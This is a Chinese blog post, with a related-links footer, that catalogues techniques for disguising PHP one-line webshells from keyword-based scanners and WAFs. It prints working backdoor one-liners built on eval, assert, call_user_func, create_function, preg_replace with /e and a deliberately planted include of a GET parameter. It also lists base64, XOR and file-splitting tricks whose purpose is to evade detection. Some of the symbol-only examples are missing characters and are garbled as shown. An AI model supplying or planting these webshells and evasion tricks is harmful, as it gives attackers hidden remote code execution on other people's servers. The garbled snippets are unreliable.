0×00 前言

大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.

0×01 字符串上的舞蹈

一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:
@eval ($_POST[xxxxx]);
很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用base64等编码函数来进行绕过
@$_GET[a]($_POST[xxxxx]);
or @base64_decode(base64编码过的eval)
当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.
另外大多数Webshell的查杀工具很少把assert函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用assert替换eval来执行猥琐的功能.
以前在ASP一句话Webshell的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用require,include等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个base64比较简单的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));
字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋

0×02 利用PHP函数的一些特性

这一小段其实还是建立在玩转了字符串的基础上的,一个小例子
if(key($_GET)==’xxxxxx’)
call_user_func($_GET[xxx],$_POST[evil]);
好吧,我承认这有点换汤不换药,这种类型的就是遇到WAF都挂b,因为基本上都是基于动态传入参数的,然后利用PHP函数换了个形式执行而已,最终还是调用eval,下面是一个小小的延伸
$x=create_function(”,$_GET[x]); $x();
再扫一眼PHP手册,我们在《高级PHP漏洞审计》读到过还有其他一些带有执行功能的函数,比如经常用的preg_replace加/e参数的黄金组合,这类一句话Webshell也算是比较常见的了.总结起来他们可以算作是人为的构造一些PHP代码上的漏洞.比如
 
$f=$_GET[x];
 
include($f);
 
这样构造一个包含漏洞出来, 或者
 
$s= copy,movefile ; //…. etc
 
$s(参数调用)比如copy($_FILES[t][src],$_FILES[t][dst]);
 
利用一些文件操作函数来猥琐一些小动作,再或者来个preg_replace执行漏洞的经典例子
 
$t= prege_replace;
 
$t(“/[xxx]/e”,$_POST[x],”Hah!~”);
 
这一方面能发散的地方还有很多,还是得多瞅瞅PHP手册,因为PHP的相关函数真是太猥琐了.

0×03 利用PHP的一些魔法特性

不知道能不能把PHP的多态性叫做魔法特性,错误之处还请指出.看过Ryat和Qz牛的文章后会更好理解,老外给过一个经典的例子
 
($_=@$_GET[2]).@$_($_POST[1]);
 
and
 
$_=””;
$_[+””]=”;
$_=”$_”.””;
$_=($_[+””]|””).($_[+””]|””).($_[+””]^””);
 
or
 
${‘_’.$_}[‘_’](${‘_’.$_}[‘__’]);
 
当然我们实际不会这么去写,因为管理员瞅一眼就明白你是要做坏事了.这其中也结合了移位运算等,算是写得很花哨了 –-~
 
经常用MVC之类的框架搞开发,都能发现__autoload函数的好处,自己文件名去new一个类,然后在类中你可以在构造函数做点手脚什么的,而这一类函数在PHP中也是有不少的,我们可以猥琐一下加以利用.
 
另外常见的ob_start等利用PHP函数的回调特性也是有的,其实觉得应该把这个分类放到上一小节,之前和wulin牛也讨论过这种方式加密过的马的解密,不过现在大多数Webshell查杀工具都应该把它加到关键字了吧.

0×04 未完结

我一直相信还有更加猥琐的方式等等,攻防对立,也可以参考
核攻击 大牛在其lcx.cc上发布的讨论怎么从一万多个文件中快速定位Webshell来见招拆招.引用黑防之前一句很装13的话作为结语:在攻与防的对立中寻求统一.欢迎更多同学加入讨论~

PHP一句话木马Webshell变形免杀总结的更多相关文章

  1. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  2. vc++木马源码免杀一些常用方法

    1.字符串连接 ////////////////////////////////////////////////////////////把字符串"canxin"连接起来(字符串连接 ...

  3. webshell之一句话木马变形

    什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如 ...

  4. PHP木马免杀的一些总结

    前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是" ...

  5. Webshell和一句话木马

    目录 Webshell(大马) 一句话木马(小马) 一句话木马原理 一句话木马的变形 JSP后门脚本 Webshell(大马) 我们经常会看到Webshell,那么,到底什么是Webshell呢? w ...

  6. Webshell 一句话木马

    Webshell介绍 什么是 WebShell webshell就是以asp.php.jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门 由于 webshell其大多是 ...

  7. Metasploit实现木马生成、捆绑、免杀

    原创博客,转载请注出处! 我的公众号,正在建设中,欢迎关注: Meatsploit介绍 2018/01/03 更新 Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可 ...

  8. php一句话木马

    一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能. 为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了发送的命令. 通过GET .POST . ...

  9. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

随机推荐

  1. mysql 搜索字段不包含数字

    select a.REG_CN_NAME,a.REG_NUM,a.INT_CLS from T_FENFA_43_TM_HOLDERINFO a where a.REG_CN_NAME  NOT RE ...

  2. 10G个64bit整数,找出中位数

    [10G个64bit整数,找出中位数] 题目:在一个文件中有10G个64bit整数,乱序排列,要求找出中位数.内存限制为2G. 解法:内存限制为2G表面上是限制,实际上是一种提示,在提示我们如何利用2 ...

  3. java链接数据库构建sql语句的时候容易记混的地方

    Connection conn = DBHelper.getconnection(); //封装连接数据库的工具类 String sql = "select * from t_test&qu ...

  4. myeclipse10安装了activiti插件后创建BPMN 文件时报错,

    以上错误需要,下载一个补丁. 补丁地址:http://www.shareyx.com/blog/2 补丁的安装可以参考: http://jingyan.baidu.com/article/dca1fa ...

  5. 【记录】CentOS7安装NODEBB

    NodeBB介绍: NodeBB 是一个更好的论坛平台,专门为现代网络打造.它是免费的,易于使用. NodeBB 论坛软件是基于 Node.js开发,支持 Redis 或 MongoDB 的数据库.它 ...

  6. 如何在centos环境下搭建java环境

    在CentOS上安装Java环境:[1]使用yum安装java 现阶段做企业级项目开发一般都采用Java语言.开发的项目需要放在服务器上运行测试,若以CentOS系统为服务器系统,首先要解决就是Cen ...

  7. linux中的 tar命令的 -C 参数,以及其它一些参数

    tar命令的-C参数    $ tar -cvf file2.tar /home/usr2/file2 tar: Removing leading '/' from members names hom ...

  8. Chrome Command Line API 参考

  9. MySQL性能调优与架构设计——第11章 常用存储引擎优化

    第11章 常用存储引擎优化 前言: MySQL 提供的非常丰富的存储引擎种类供大家选择,有多种选择固然是好事,但是需要我们理解掌握的知识也会增加很多.每一种存储引擎都有各自的特长,也都存在一定的短处. ...

  10. B-spline Curves 学习之B样条基函数的定义与性质(2)

    B-spline Basis Functions 本博客转自前人的博客的翻译版本,前几章节是原来博主的翻译内容,但是后续章节博主不在提供翻译,后续章节我在完成相关的翻译学习. (原来博客网址:http ...